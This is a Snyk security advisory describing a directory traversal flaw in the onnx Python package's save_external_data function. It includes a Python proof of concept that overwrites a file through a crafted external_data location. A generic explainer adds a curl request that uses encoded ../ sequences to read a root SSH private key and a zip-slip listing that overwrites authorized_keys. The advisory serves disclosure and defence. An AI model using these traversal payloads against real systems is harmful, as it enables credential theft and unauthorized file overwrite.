Directory Traversal Affecting onnx package, versions [0,]


Severity

Recommended
0.0
medium
0
10

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Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (7th percentile)

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  • Snyk IDSNYK-PYTHON-ONNX-10877916
  • published23 Jul 2025
  • disclosed22 Jul 2025
  • creditgeckosecurity

Introduced: 22 Jul 2025

NewCVE-2025-51480  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

onnx is an Open Neural Network Exchange

Affected versions of this package are vulnerable to Directory Traversal via the save_external_data function. An attacker can overwrite arbitrary files by supplying crafted values to the external_data.location parameter containing traversal sequences, thereby bypassing intended directory restrictions. This could lead to overwriting script files, configuration files, or SSH keys, or corruption of sensitive files based on the permissions of the running process.

PoC

import os
import onnx
from onnx import TensorProto
from onnx.external_data_helper import save_external_data

print(f"ONNX version: {onnx.__version__}")


os.makedirs("/tmp/secure_data", exist_ok=True)
os.makedirs("/tmp/model_workspace", exist_ok=True)

# sensitive file
with open("/tmp/secure_data/credentials.txt", "w") as f:
    f.write("api_key=secret123456789")

print(f"Before: {open('/tmp/secure_data/credentials.txt', 'r').read()}")

# model with path traversal
model = TensorProto()
model.raw_data = b"EXPLOITED" + b"X" * 10

location = model.external_data.add()
location.key = "location"
location.value = "../../../../../../../../tmp/secure_data/credentials.txt" 

position = model.external_data.add()
position.key = "offset"
position.value = "0"

save_external_data(tensor=model, base_path="/tmp/model_workspace")

print(f"After: {open('/tmp/secure_data/credentials.txt', 'r').read()}")

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1